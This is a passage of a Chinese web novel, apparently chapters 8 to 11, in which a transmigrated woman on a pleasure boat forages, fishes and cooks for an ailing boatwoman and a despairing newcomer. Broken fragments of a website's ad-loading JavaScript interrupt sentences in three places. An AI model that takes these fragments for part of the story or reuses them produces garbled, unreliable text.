待姑娘们上花船时,褚朝云特别留意一眼,打扮鲜亮的女子们手持团扇,衣裳衬的面容娇嫩,可那一张张的小脸上却不见喜色。 活像她以往去上坟,啊不,是上班时那般状态。 人堆里果然没有春叶,想来的确病的重了。 晚间,捱到大家都睡下时,褚朝云也困得不轻,可她还得强打精神出去觅食。 冷馍残羹没有营养,她必须得坚持找些能补充营养的食物,再下过几次水后,褚朝云也难免挠头。 实在不知还能寻些什么来吃了。 每每这种苦恼在心尖环绕时,褚朝云想进厨房的念头就愈加强烈。 她蹑手蹑脚的去到船梯处,先活动了一下胳膊腿,感觉到热乎一些了,这才下水去。 只不过今晚的运气着实不怎么样,褚朝云找不到莲藕,菱角也几乎被采光了,体力即将用尽时,她才极难得的发现了一小丛鸡头米。 鸡头米又叫芡实,大名鼎鼎的水八仙之一,确实是不错的好东西,就是不抗吃。 不过能寻到食物,褚朝云还是兴奋的。 她一脸喜色的薅光那一小丛,全身湿漉漉的回了船上,今个也顾不上晾干,脚下生风的一路下了木梯往隔间走。 今晚似乎冷的过分,像是要变天了。 过来走道时,褚朝云注意着放轻脚步,本以为这时辰所有人都睡下了,可走到一处隔间的门前,却依稀听到些轻微的呻·吟。 嗯? 这声音好像是从刁氏房中传出来的。 褚朝云缓缓停下,又竖着耳朵听了听。 有些痛苦的闷哼声不断从房内传出,压抑的,时而还停顿几下,像是很怕被旁人知晓。 褚朝云知道自己本不该去窥探谁的隐私,可电光火石间,她便想到了一些事。对于刁氏此刻的痛苦,她这么想确实很抱歉。 可钟管事的眼很毒,看她很准。 她就是很能见缝插针的人。 因为她得活下去。 褚朝云深吸口气,用手指尖点点那道门作为提示,门内的刁氏果然很小心,听到这声提醒,闷在喉咙口的那声呜咽顿时就掐断了。 “是我,刁婶子。” 褚朝云用气音回应了句,不过片刻,门就被里面的人打开了。 见她全身湿透的出现在这儿,刁氏也是一头雾水。 站在门口说话不便,褚朝云自顾自的走了进去,又注意着把门锁上了。 怕弄湿了被褥,褚朝云并没有坐,她只是站在勉强能容纳一人的空地处,将手里拿着的一把“鸡头”放在了脚凳上。 “你……” 刁氏愕然,却又不知该说些什么。 褚朝云又开始赌了。 她其实有点烦躁,真倒霉,似乎来了这里之后她总是再赌。 褚朝云尽量让自己的表情松快些,含着笑,面容被银色的月光照的有点柔和:“我下水了,总是吃干馍我身体真的受不住,要再不去想点法子,我可能都挨不到发月银那日了……” 刁氏听着她的坦言,表情一下惊讶赛过一下,半晌,妇人张张口,却只是问了句:“你会凫水?” “会的,不过钟管事应当不知道。” 褚朝云又笑了下。 刁氏木讷的点点头,随即又道:“那以后再去……注意点安全,还有,也别叫谁瞧见。” 褚朝云“哎”了声,便靠到隔板旁开始剥鸡头米,虽然很多时候都会把鸡头米煮熟或炒过再吃,但她没有厨具,就只能生嚼。 生嚼鸡头米倒也不难吃,细品还有些说不出的甘甜。 褚朝云剥了一小把递给刁氏,直言道:“我见刁婶子近日身子也不爽利,这小东西挺补的,你也吃些。” 此刻只有她二人,刁氏抬手接过,表情溢出些苦闷,倒也把话敞开了说:“其实往年还好些,入了冬,即便要给姑娘们做饭食,我也会托赵大他们去送。可今年竟是连动一动都……” 静默片刻,刁氏苦笑:“许是年纪大了,这病也越发重了吧。” 褚朝云咬碎一颗鸡头米,看向她:“我来的时日短,不晓得这里的事,敢问婶子,若船工或姑娘们身子出了问题,那管事们该要如何?” 刁氏见她问话如此天真,轻微摇了摇头:“还能如何?用到不能用时,只会弃了。” 褚朝云手下一顿,后背猛地窜上些凉气。 “以后再有为难的活,您只管交给我吧。” 褚朝云把剩下的一点鸡头米剥好都给了刁氏,收拾了零碎处置后,就回了自己那处歇息。 接下来的两日,褚朝云依旧会每晚下河去试试手气,偶尔能寻到些稀少的吃食,哪怕再不够吃,她也会分刁氏一半。 这日醒来,褚朝云一开门便发现对着的隔间,门给关上了。 谁关上的?? 她记得真真的,昨晚从河里回来还见这门是开着的,怎么睡了一觉,就关上了! 出来时她尝试推了一把,没推开。 褚朝云一脸的问号,不过第一个念头便是“对门来新人了”。 这个想法待她从洗漱房洗好出来的那刻,就得到了印证,几名船娘趁管事还没来,正凑在一块小声说话。 “我昨个起夜看到了,大半夜的被赵大他们抬上来,那小脸上好像还有伤呢。” “你胆子真大,敢瞧那么细致!” 几声议论听得褚朝云不免多想了些,那日和他们一起被关院子时,有一位撞墙寻死的女子,脸上也是被刮伤了。 当时被抬出去后,她就再也没见过那人。 难不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成是她? 午休一过,褚朝云和刁氏坐在角落里择菜。 钟管事从一侧过来,目光睥了下褚朝云,而后便看向刁氏。 “春叶那边,你这几日多照顾着些,还有里间那个,叫她抓紧吃些东西,养好了身子还得上工呢。” 钟管事交待完,就迈步离开了。 褚朝云余光瞥见刁氏为难的捏了下腿,也觉得自己这几日铺垫的差不多了,她把揪掉烂叶子的一把菜扔进筐里,转头看向刁氏,“刁婶子,不如您推荐我进灶房帮忙吧。” 她让刁氏知道她会每晚下水,为的就是这个。 刁氏今年身子尤为不适,船上的杂活本就不少,又要时不时的照应姑娘,对年迈体弱的老妇人来说,担子是极重的。 可若换做旁人,刁氏怕是死都不愿推荐。 毕竟饭碗被抢了,刁氏以后在钟管事的心中,分量就会减轻。不受重用的船娘日子总会艰辛些,就算刁氏是自愿上船,这点事还是能琢磨明白。 可褚朝云似乎和旁人不同,刁氏有点犹豫了。 褚朝云见这事有戏,就又加了把柴:“总吃生食也对身子不好,要是能进灶房,我烧些熟的来,也能帮婶子您调养调养。” 她说着便笑:“当然,我也不瞒您,我是有私心的,但我不怕讲出来,我行的正坐得直。” “别说了朝云,婶子信你。” 刁氏拍了拍她的手。 褚朝云听罢也露出感激的笑,她快速凑到妇人耳畔,悄声道:“您只管告诉钟管事,我只是帮工,具体的事还是要听您的。但不管怎么说,朝云还是要真心谢谢您的!” 刁氏去找钟管事时,褚朝云心里也跟着打鼓,毕竟最终点头的是钟管事,褚朝云总怕她会拒绝,会另选他人。 用过晚饭,褚朝云回来隔间时,发现对门的房门落了一道缝。 她转身探过去,顺着缝隙往里瞧。 小窗被抬起,一丝光正停在侧躺的女子身上,露出的手腕部分瘦如枯木,蜡黄的小脸上也有几片刮痕。 那刮痕结了痂,有些痂的边缘都已经翘起来了,应当是快要长好了。 褚朝云对撞墙的女子印象很深,她不由得将门推大些,迈着小步走进去,女子昏沉的睡着,周身有一股说不出的馊味儿。 想来撞过之后,也只是被赵大他们丢去哪里不闻不问,等了些时日见人没死,这才抬来船上。 褚朝云走近一些,叹了叹鼻息,虽然微弱,也还是温热的。 她退出门外,重新把门关上了。 “朝云,来。” 窄道里有人喊她,褚朝云见刁氏站在门旁朝她招手,便走了过去。 刁氏将她让进屋,也不卖关子,直接说道:“你想的那事,成了。” “成了?!” 惊喜来的太过突然,褚朝云忍不住大声了些。 刁氏也为她开心,便又肯定的点点头。 褚朝云高兴的原地打转,没头苍蝇似的,嘴里一直念叨着“成了?”“竟然真成了!”“怎么就这么容易成了呢!”“太好了我终于能进灶房了!!” 刻薄了多日,令她着实不敢相信自己真有这样的好运气。 褚朝云手舞足蹈像个孩子,随即捂着小脸“嘻”了一声,都能进厨房了,那今晚还不吃点好的么:) 9. 第 9 章 不过这好事里,也不是全无瑕疵的。 刁氏坐在床旁,一边用掌心打圈似的按摩着膝盖,一边温声道:“管事说你帮忙是可以,但给姑娘们送吃食这事,得交给赵大。” 褚朝云呲牙一笑,扬扬下巴,面上还带了几分小得意:“料得到!她不就是怕我半路溜了嘛~” 其实不只钟管事怕,刁氏内心也犯了点嘀咕。 起先褚朝云刚说想进厨房时,刁氏脑子里满满都是这姑娘的好,遂也想的少了些。 她轻点了点头,本想在说些什么,褚朝云就挨着她坐下了。 月色下,褚朝云灼灼的目光亮的和星星一样,眼睛一眨巴,便把手按在了妇人手背上,“如果将来有机会,我带着您一块走。” 刁氏眸色微动,“我……” 她知晓褚朝云这是在跟自己表态,且不说她愿不愿意离开,但这份心意,刁氏是领了情的。 沉默半晌,她眼圈泛红的应了声:“好,好!你的确是个好孩子。” 话说透了,褚朝云行事也能彻底放得开了。 她搓了搓这几日被糟害的粗糙手指,正跃跃欲试着什么,一声响动便在这方静谧的空间里显得尤为突兀。 声音是从窄道尽头传来的,而那里除了她的房间,就只剩下新来的女子住的那间。 褚朝云没去理会,而是轻压声音,面容含笑的问刁氏:“婶子乏没?要是不忙着睡,我就去做点热乎汤过来,少喝些热的,这觉也能睡得更舒服些!” 被默许进厨房的好处之一,便是时不时能给自己改善改善伙食。 可刁氏从前并没给自己开过什么小灶,因为钟管事说过,想做吃食没问题,食材得自己提供,少量的用些油和调味品是可以的,但其他不行。 所以刁氏也不费那个劲,只在下船时去摊子上买些解解馋罢了。 但因着月银太少,除了扁食和冷淘,荤腥的她也买不起。 乍听褚朝云这么问,刁氏赶紧把“不能动用厨房食材”的规矩讲给她听,褚朝云小鸡啄米的答应完,也不多说,人就出了隔间。 刁氏见她风一阵的走掉了,不免哭笑不得的摇了摇头,巧妇难为无米之炊,这小丫头等会儿别噘着嘴回来才好。 这会儿褚朝云已经到了厨房,她去到柴火堆旁挑了根偏粗些的干树枝,又用砍刀将一头削尖,拿上便下了河。 褚朝云游至浅水区后屈着膝起身往河里望,临时起意要抓鱼也没什么准备,再加上夜晚视线受阻,她还真没太大把握。 可想吃鱼的心情停不下来,她便唯有大胆一试了。 好在公司团建教过几节野外生存技能课,其中一项就是捕鱼。 不过这事并没那么容易成功,褚朝云接连扎废了三根烧火棍,河里、船上折腾了几回,最终,才勉勉强强捉到一条小的。 行吧。 蚊子腿也算是肉。 褚朝云满足了。 荤食搞定了,褚朝云便把衣裳一系,跑下去找素菜去了。 河里的水生植物不少,但她多少有些惦记那日看到的莼菜,虽然莼菜难摘,可做汤也用的不多,还是可以搞点的。 来来回回忙活了半个时辰,总算凑齐食材的褚朝云乐呵呵地进了厨房开始做汤。 小鱼看不出品种,只知道片肉时没有小刺,灶台边的木柜里放着小坛酸涩液体,闻起来有淡淡的梅子味,褚朝云便往盛鱼片的碗中倒了些来去腥气。 莼菜处理之后焯了水,放在一旁沥干。 褚朝云挖了小块猪油下锅,起锅烧油开始慢煎鱼片,煎到两面金黄后就往锅子里添了些水。 水开,浓白的鱼汤不停翻滚,香味登时便飘了出来。 褚朝云艰难的咽了下口水,将干的差不多的莼菜下了进去,煮了一会儿,随便抓把调味品调味,一道醇香美味的鱼片莼菜汤就出锅了。 她先盛了两小碗,记起钟管事说要刁氏看顾一下里间的女子,便又取了只碗,把剩下的一并盛了出来。 褚朝云找了个托盘端着,脚程迅速的进了刁氏房中。 没能看到垂头丧气噘着嘴回来的褚朝云,却瞧见一张笑的花朵样的面孔,刁氏惊奇之余,视线就忍不住的往碗里瞟。 每天杂活繁重,那点馍馍谁都吃的不耐烦,说不馋是假的。 何况,这可是带了荤腥的鱼片汤啊! 刁氏几乎顾不上问一句褚朝云“从哪里搞来的菜和肉”,就双手接过碗来,急吼吼的喝上一大口。 奶白的鱼汤既有猪油的香味,又有莼菜的清新,一瞬间,妇人面上出现了道与年龄不符的震撼神情,一口还没咽下去,就顾不上烫的喝第二口。 煎透了的鱼肉即便泡了汤,嚼起来边缘也是酥脆的,且新鲜的鱼口感更软嫩些,入口的菜也爽滑,刁氏一时间竟不知要先夸这鱼肉味美,还是莼菜爽口了。 褚朝云见刁氏吃得开心,自己也迫不及待尝了一口。 热乎乎的鱼汤下肚,肺腑久旱逢甘霖般的被滋润了,褚朝云鼻尖微酸,差点掉出泪来。 正百感交集,旁侧的刁氏便大大的“咦”了声:“朝云那,这绿色的是什么东西啊?怎么好像——” 刁氏本能吓了一跳,差点端不稳汤碗。 刚才只顾着解馋也忘了去看,现下缓和之后,刁氏才有些不敢确认的问出一声。 她其实想说,这东西看着怎么那么像鼻涕虫啊! 褚朝云也没顾上回,一口接一口的接连干了半碗汤,连着鱼肉和莼菜吃了个爽后,才咯咯笑道:“这东西叫莼菜,就是那天她们口里讲的鼻涕虫。” 这一说,刁氏端碗的手就更加不稳了。 褚朝云站累了索性坐下来,一边继续喝汤吃鱼肉,一边笑问:“莼菜明明是极难得的水生植物,你们怎么说它是鼻涕虫呢?” 刁氏见她吃得欢,且自己刚才吃了不少也没什么事,这才把心揣回肚里,简单的解释了一番。 说是有人捕鱼时不小心碰到了它,回家后被碰到的那块皮肤便泛红发痒,接着没多久,这人就死了。 之后这事一传十十传百,越发离谱,最后闹得满蕤洲人人皆知。 说完,刁氏纳闷道:“这……莼菜,是叫莼菜吧?它要不是虫,那怎么还长些滑不溜丢的玩意呢?” 褚朝云见刁氏一脸困惑的样子,不由想笑。 传闻不见得假,但多半就是巧合,古时医疗不发达,很多不痛不痒的小毛病也会令人丧命。 褚朝云思虑一番,索性挨着刁氏近些,“莼菜很补的,连皇帝都爱吃呢。” “皇帝?” “对。” 褚朝云在内心补充了句:但不是大祁的皇帝。 都说美食能治愈人心,褚朝云此刻的心情也是说不出的愉悦,自穿越以来压在心内多日的闷气,几乎也随着这一碗香喷喷的鱼片汤而短暂的消逝掉了。 褚朝云起身摸了下另外一只碗的温度,汤还没凉,她和刁氏交代一声,就端着去给那女子送去。 从钟管事的口中,褚朝云知道了那女子的名字——徐香荷。 褚朝云刚刚听到的那一声没错,正是徐香荷这屋子里发出来的,见门没关,她直接走了进去,而后迅速掩上门,也是怕一路过来香味飘得太远,馋醒了其他船娘们。 在这个堪称吃人的地方,可以说是人人艰难。 但褚朝云目前除了能勉强自保,多照顾一些刁婶子之外,并没能力“普度众生”。 她能做的就是尽量避开一些,别叫其他船娘瞧见后难受。 褚朝云再次进来徐香荷的房间,那股馊味儿似乎更重了,除开馊味儿,隐隐间,她还闻到了一股尿臊气。 褚朝云的鞋子还在隔间里,刚才来来回回,她一直都是光着脚的。 不过很快,她就反应过来这股尿臊气的出处了,她先是把汤碗放到脚凳处,随即抬脚看了看,脚底湿漉漉的。 褚朝云:“……” 不过缩在角落里的徐香荷倒是没觉得难为情,女子的头发鸟窝一般揪成了团,除了脸侧几道狰狞的伤疤,已经很难看出本来的容貌了。 徐香荷杵在阴暗里木头一样,整个人都透着沉沉死气。 褚朝云也没嫌她,靠着边坐到床沿处,声音轻而浅:“钟管事叫我们照应下你,碗里是鱼汤,还热着,你喝了我好去刷碗。” 女子听过无动于衷,动也没动一下。 褚朝云起身将小窗抬起,挤进来的风冲淡些异味后,鱼汤的香味才显现出来。 昏暗下,女子的小腹不能自控的鸣叫两声。 褚朝云安静的坐了一会儿,见她依旧不动,便催促道:“快喝吧,凉了就不好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喝了。” “出……去……” 徐香荷粘在一起的上下唇艰难分开,囫囵着吐出一句。 她的态度是恶劣的,细听之下,声调里还有种说不出的鄙夷和扭曲。 褚朝云坐在床板上晃了几下脚,看也没看徐香荷,听到后只是站起了身,面无表情的端上碗,“哦”了声:“不想喝是吧?那算了。” 她作势要开门,身后,窸窣的呜咽声却低微的响了起来。 褚朝云停住步伐,转身将碗递过去,依旧是那副从容淡定的模样:“所以,要喝吗?” 半晌,直到她手举的发酸,而角落里的徐香荷依旧只知道委屈掉泪时,褚朝云便又一次的要去开那道门。 可手刚握上门把,徐香荷就哭的更响了。 褚朝云气乐了,“咚”的放下汤碗,用不太大但略微犀利的声音一字一句问:“既然不想死,闹这一出你要给谁看?” 这句话似乎起了作用,徐香荷身形一怔,猛地抬头看向她。 褚朝云偏过身:“当初你撞墙又故意没撞死,这做法的确还算聪明,我也以为你是个有打算的,但现在看来,是我想多了。他们送你来船上并非是对你闹腾的妥协,想靠作闹逃出生天我劝你趁早打消念头,继续下去,你的下场只会是被丢下水去喂鱼。” 徐香荷听得哭声止住,似是被她的话吓到了。 褚朝云重新坐下来,“现下,你的选择只剩两种,继续作闹绝食直到把自己作死罢休,还有一种,”她看着徐香荷定定道:“养好身子,老实做工,活命。” 短暂的沉默后,徐香荷开了今日第二次口:“我……想离开这里,你有办法么?” “我有办法就不会坐在这儿跟你说话了。” 褚朝云淡淡道。 “也是……” 徐香荷心如死灰的呢喃着,随即又问:“那你就这么认命了么?” 褚朝云平静无波的眸子轻眨了下,“不然呢?” 银月的光笼罩在二人面庞,两名女子互看彼此。 褚朝云虽不是美人,却有着一双明澈秀气的眼,笑时像月亮,不笑时便总是一副岁月静好的娴静模样,看久了,倒多少有些抚慰人心的魔力似的。 徐香荷沉默过后,伸手拿过碗慢慢喝着放冷的汤,褚朝云便撤回视线坐在一旁等。 徐香荷面颊的伤痕其实也算好了,翻起的痂下,皮肉透着几分新生的粉,若非如此,褚朝云也不会给她吃这个,毕竟若有伤口没愈合,吃鱼还是不太好的。 而刚徐香荷问她是否认命时,褚朝云那个回答多少带了点敷衍。 她不是未经世事的孩童,自不会轻易同谁交心,对于今后的打算她是有盘算,可并不会说给徐香荷听。 徐香荷确实饿了不少时日,不只喝光了汤水,连碗边都舔得干干净净。 褚朝云接过空碗出门去,轻手轻脚的上了木梯。 除了把锅子和空碗洗涮干净,褚朝云还顺便洗了脚,再回来时从门缝处瞧见徐香荷似乎是睡了,便也困乏的伸了伸腰,回了自己的隔间。 …… 日出东升,新的一天又开始了。 褚朝云从洗漱房出来正巧碰到两名排队的船娘,对方温和的跟她打招呼,说话间却发出一声惊讶:“诶?朝云你今天看起来气色挺好的呀!” “可能是昨晚睡得好。” 她笑着回应一句,拿上布巾往船边走。 昨晚的鱼汤意犹未尽,而她气色变好也是真的,其实鱼汤的效果并没多神奇,只是原主从前的状态过差了些。 想来原主家中的条件也很有限,大概以往也没吃到过什么太好的东西。 干了会儿活便到了吃早饭的时间,褚朝云领了馍去到船角,破天荒的没回暗仓里去。 远处的刁氏步履蹒跚着过来,尽管身子依旧不好,可面容也肉眼可见的恢复了些血色。 刁氏坐到褚朝云身边,有一搭无一搭的跟她闲聊。 见褚朝云今日领了两只馍馍,刁氏大为不解:“咦?你不是吃不惯这个,今天怎么……” 还没等她把话说完,褚朝云就止不住笑了。 笑完,褚朝云左右看看,见附近没人,便凑到她耳边用蚊子声说道:“您也多领几个回来,这干馍可是上好的食材,今晚,我给您做点好吃的来~” 10. 第 10 章 刁氏听的一脸迷惑,不过一想到昨晚那顿鲜美的鱼片汤,内心又忍不住生出几分期许来。 褚朝云起身前跟她嘀咕了两声,刁氏满面讶异,“你要那个?我确实还有不少,就在我屋子里的脚蹬下放着,你自去拿便是。” “好嘞!” 褚朝云痛快的应了声,拿上还剩的一个馍馍,脚步轻快的下了木梯。 虽说褚朝云一上船就和刁氏走得近些,可依旧有几个眼热的目不转睛盯着他们,见她走开,才你推我搡的去了刁氏那坐。 “刁氏,你跟朝云那丫头不会没上船就熟识了吧?” 刁氏讶然:“自然不是,怎么可能。” 方脸的船娘闻言,挤出两分假笑:“那她怎的对你这么热乎?咱几个都是差不多时候上来的,互相照应些本就是应该的,往后你要是有啥需要我们帮忙的,只管说一声便是!也不必次次都麻烦朝云丫头,你说对不?” 刁氏斜去一眼,随即也扯出些笑:“这是一定的。” 方脸船娘点了点头,又下意识往她腿上看去,见刁氏一脸的不在意,仿佛那点小毛病并没对她造成什么影响,这才不太死心的走开了。 刁氏白了他们一眼,心中不太爽快。 这群人嘴上说着要互相照应,可上次她下船去给春叶送吃食,他们非但没一个要主动帮忙扫雅间,还煽风点火的讲她小话。 她心中的担子压得重,没得心思和谁称姐道妹,可自认也没对不起谁。 偶尔有吃不完的扁食带回来,或是哪个船娘磕碰了,她也是帮忙干过活、想办法给他们弄过草药的。 刁氏的脾性从前也是有几分烈的,若非怕这几个心思多的攀扯褚朝云,她刚才真想就着机会问问他们来着。 船上发生的小插曲褚朝云并不知晓,她这会儿刚从刁氏房里出来往自己屋走。 褚朝云捧着针线篮子,里面放着些长长短短的布条,房里还放着昨晚从厨房挑回来的粗树枝和细竹条,推开了门,篮子刚拿进去,对门便有了动静。 褚朝云回头和徐香荷对上视线,徐香荷单手扶着门板,表情有几分痛苦。 这女子看样子是想通了些,遭乱的头发被拢好了,衣裳的褶皱也抻的平平整整,徐香荷羞怯的看着她,面上憋的一脸汗意:“姑娘,我……我想去……” 褚朝云看出来了,徐香荷想去茅房。 “从这条窄道过去上木梯,船尾就有一间。” 她指完路,就进屋关上了门。 趁着还有些休息时间,褚朝云便坐在床上忙活开了。 其实想要抓鱼不那么费力,下网子是最方便的,现世也有许多用这种方式抓鱼的,但褚朝云手里没有工具做不了网,另一方面也是因为,她还用不到那么多鱼。 没地方存放的东西,每日现吃现捞就好。 褚朝云将韧劲十足的细竹条围成一圈绑死,然后就从那一堆碎布条里开始选合适的,不但要长度合适,还得结实。 寻到一些,就开始穿针引线的往细竹条上缝,先从不同的角度将两边固定,穿插成一只网状,在将布条和布条重合的部分也缝牢固后,就拿着做好的简易渔网和粗树枝绑到一块,做了个能握着方便的柄。 眼看时间差不多了,褚朝云顾不上检查渔网的结实度,放下针线,急急忙忙跑上去干活。 一出来就得知厨娘今日要做山药宴,成筐的山药一摞一摞往花船上抬。 褚朝云躲着劳工避免碰撞,顾前没顾后,一回头,便和来人撞个正着。 “小心,阿姐——” “姐”字才冲出口就被及时收住。 褚郁的声音难掩激动,可许是这些时日被打怕了,行事似乎比从前谨慎不少。 这是褚朝云被带上船后第一次近距离接触褚郁,匆忙回头间,她眼底不由得泛起了红。 赵大就在不远处监工,没得时间让他们叙旧。 褚朝云怕二人站久了会引起管事们的注意,便主动让开了路,褚郁抱着筐默默往前走,面上天真孩童的稚气也消去不少。 但到底才十岁,加之衣袍宽大,褚郁又瘦,走起路来身形未免摇摇晃晃。 褚朝云看到他的样子便有些心酸,即便在现世看到类似这样的新闻都会揪心,何况她顶替了这具身体,成了人家嫡亲的姐姐。 “你也小心,先忍忍……” 褚朝云声音压得很低。 褚郁迈出的步子一顿,似是听清了她话中之意,不过很快,后面的劳工便催促着褚郁走快一些。 见褚郁放好筐下船去,褚朝云也赶忙去寻刁氏。 给山药削皮这差事着实让人挠头,没有手套,山药的汁液直接接触皮肤,这痒起来可比蚊子咬的包厉害多了。 想来大家是知晓这东西要命,坐在船尾干活的船娘表情便都有点沉闷,而有些人手快的先削了几根,手心已经开始痒起来了。 角落里的刁氏倒没忙着动手,见她过来,低声道:“你有没有什么不伤手的好办法?” 褚朝云闻声一乐,看来刁氏是把她当成智囊团了。 这个时代也不知有没有手套,且即便有,管事们也不会给他们提供,褚朝云还真没什么太好的办法。虽然她也听说过用醋或酒精泡一下能防止手痒,但不用问也知道管事们绝不会同意。 褚朝云取来只大盆,装了大半盆水,先将山药丢进去几根,又找了两块干净的布巾把手包住。 “这样能减少些接触,保不齐就不痒了。” 她也是抱着试试看的心态来做。 刁氏觉得这个主意还算不错,也包了手,和褚朝云在一个盆子里削山药皮。 其他船娘见他们如此,你看看我,我看看你,也有样学样的跟风弄了只盆来,众人连削带洗活干的还快了不少。 就在快要弄完时,钟管事便探步往这边瞧了瞧,而后淡声问道:“谁教你们这么干活的?” 钟管事态度一向冷薄,似乎从没有给过大家好脸色,所以她说出的话没人听得出情绪,只会统一默认为是再发火。 船娘们吓得齐头看向褚朝云,表情惊恐,似是都怕管事骂到自己头上。 骂人还是轻的,辛苦一个月十文的卖命钱若是再被扣去,怕不是要上火好些天了。 寻着视线,钟管事的目光落在褚朝云头上。 褚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 朝云:“……” 刁氏见状,似乎想帮忙说些什么,被褚朝云按住。 褚朝云也不管钟管事是什么脸色,便朝她灿烂一笑:“这样省时省力又避免了手痒,手舒服了,等下其他活干起来也是事半功倍,这就叫做……一石二鸟!” 钟管事冷笑:“一石二鸟是这个意思么?” 投来的视线里明晃晃的写着“你这个文盲”。 褚朝云故作挠头,半晌,吐吐舌头道:“管事莫怪,我也没识得几个字,一着急,就开始胡说了。” 一顿马虎眼带忽悠,钟管事倒真没再说什么,只是临走前,深深地看了她一眼。 褚朝云呼出口气,忙完剩下的事,便靠到船旁打算歇会。 夕阳垂落,楼上的雅间莺歌燕舞好不热闹,阵阵的山药香味一股股飘出房间,褚朝云饿的干瘪的肚子都要往里边凹了。 晚间放饭时,她一口气拿了四个馍,除了给自己领的两个,还有两个是给徐香荷带的。 钟管事今日来看过徐香荷一回,见人状态好了些,便催促着叫她明日上工。徐香荷无声的抹了一会儿子眼泪,像是终于肯认命了。 褚朝云过来送吃食,她将干馍放到脚凳上,徐香荷飞快叫住她:“谢……谢姑娘。” 褚朝云转过头去,“好端端的谢我做什么,昨晚给你送汤,只是因为钟管事交代了要看顾你。” 她有一说一。 徐香荷沉默半晌:“那你也是可以不管我的。” 徐香荷想的没错,钟管事交待了又如何,褚朝云不想管便可以不管。即便她挨不住真死了,褚朝云尽管推脱说她自己非要寻死腻活,根本一点责任都不需要承担。 褚朝云见她想的透彻,确实是个聪慧的,便又将脚凳上的两个馍取走了。 徐香荷没问,她也没解释。 接近后半夜的时候,褚朝云就带着她新做的渔网下水去了,下来前她把边角多缝了几针,用力挥动几下试过才算放心。 不用那小棍在河里瞎扎确实方便多了,见鱼游来,褚朝云快狠准的兜上来一条。 “小了。” 她将小鱼放走,继续耐心等大的。 接连几次,褚朝云总算成功兜上来一条目测二三斤的大鱼,品种瞧着和昨晚的差不多,褚朝云挺高兴,因为没小刺才好做吃食。 回来厨房后,她便开始着手收拾那条鱼。 不过这次没把鱼肉片成片,而是切碎后用那梅子汁腌一小会儿去腥,上船前她又在水里薅了把香蒲,这个时节,河里香蒲倒是随处可见,味道也是说不出的好。 褚朝云一一掰下香蒲的嫩茎,焯水后也一并放在旁边备用。 白日里攒出来的干馍有六七个,褚朝云将硬壳剥掉喂鱼,剩下的则用刀切开一半,另一半还连着,方便等会儿夹鱼肉。 挖了点猪油下锅,等猪油融化后就开始煎馍,几个面都煎至金黄,又把鱼碎并着香蒲嫩茎碎一块放入锅中爆炒。 不多时,锅子里的香味滚滚而来,褚朝云被香味冲的不停咽口水。 最后撒了把调味品出锅,她用小勺盛了些放入馍中,迫不及待地先咬了一口。 11. 第 11 章 这一大口下去着实烫的很,褚朝云捂着嘴在厨房里直跳脚,可那一张小脸上的表情,却是说不出的愉悦和惊喜。 现世的肉夹馍她吃过不少,但还真没吃过鱼肉做的。 主要这蕤河里鱼虾河鲜多些,鸡鸭牛羊猪她实在没地儿弄去,本也是抱着尝试心态,竟不知做出了人间美味! 说人间美味并不夸大,按照一个见多识广的吃货来讲,这馍表皮金黄酥脆,浸过猪油的内芯也是绵软细腻,再夹上爆香的鱼碎和香蒲茎,既解了油腻又融合出了独特的新味道,褚朝云简直要给自己竖大拇指了。 不过除了她这个半斤八两的厨艺,褚朝云其实最想夸的,还是摆在橱柜里的调味品。 也不知那东西是什么,像几种细粉混合出来的调料,辛香里带了咸味,所以才会让她做的菜有了一个升华。 那厨娘果然很绝。 褚朝云心中佩服。 未免做好的吃食凉了,她端起托盘把食物装上,一溜烟的回了暗仓。 褚朝云先送了三个鱼肉夹馍去刁氏那儿,又将托盘里剩的两个给了徐香荷。 “吃的时候门关严些,免得徒惹是非。” 褚朝云告诫徐香荷一番,对方重重点了下头,待她一离开,便轻手轻脚的将门拉好拴上了。 褚朝云顺着窄道进了刁氏的隔间,一推门,浓重的香味便进了她的鼻腔。不过味道也没飘出多远,实在是暗仓里的异味太过强烈,哪怕是美味的肉夹馍,也压不过去。 门内,刁氏手中的吃食已经快见了底,察觉褚朝云看她,刁氏才不好意思的舔舔唇:“朝云,你这手艺可真是不错!” “我其实做饭挺一般的。” 褚朝云腼腆一笑,也拿起一个坐到她旁边慢慢的吃。 刚才厨房里那个吃的太快,连想回味一下都困难,想想自己那急切的样子,褚朝云“噗嗤”一乐,怎么好像猪八戒吃人参果似的。 褚朝云眉眼弯弯自顾自的乐,好心情很快感染了刁氏,刁氏吃完一个又去拿,速度也放慢了些。 “朝云,我还没顾上问,你做的这吃食……叫什么名字呀?我头一次知道,这馍馍里还能夹菜和肉的。” “鱼肉夹馍,蕤洲没这东西么?” 褚朝云上了心,便和刁氏小声聊了起来。 刁氏眉头隆起,似是在认真思考这个问题,随即,肯定道:“以往,我确实不曾见到过,”想想又说:“就连那厨娘也没这样做过的。” 褚朝云眼珠转转,打听的更细了些:“大祁地广,那其他地方呢,可有这样做过?” 刁氏犯难:“这可为难我老婆子了,咱就没出去过蕤洲呀。” 褚朝云听得有些吃惊,她还以为刁氏也和原主他们一样,都是从其他地方过来的。毕竟这伙人再猖狂,也不好拐带本地人做这营生,真不怕走漏风声出事么? 褚朝云猜想刁氏上船来或许是有什么不方便讲的缘由,她也没那么不识趣的想要乱问。 于是话题拐了个弯,她看着刁氏说:“婶子,我是外来人,对这蕤洲一丁点都不了解,眼下又出不去,要不您给我说说这蕤洲都有些什么美食呗,我听听也解个馋。” 刁氏绷不住乐:“到底还是年轻啊,只听听就能解馋了呀?” “能呀!” 褚朝云吃完鱼肉夹馍,一抹嘴:“真能呢!” 二人吃饱喝足,精气神也足,连窗外吹进来的风都不觉得凉了。 褚朝云抱着双膝靠坐在床上,刁氏坐在她身边,一边回忆着没上船的时光,一边给她讲这蕤洲的美景美食,偶尔还穿插了些趣事…… 回到自己隔间的褚朝云平躺在床上,身下是被压顺了的芦苇,盯着冗黑低矮的顶板,心绪却是说不出的复杂。 原来蕤洲地处大祁边缘,过去这里的百姓日子并不好过,不是干旱就是洪水,也就是前些年陆续来了几批外地的富户,“财主们”在蕤洲扎了根,大家伙才勉强好过一些。 至于吃食方面,特色就没有,都是一些家常便饭。 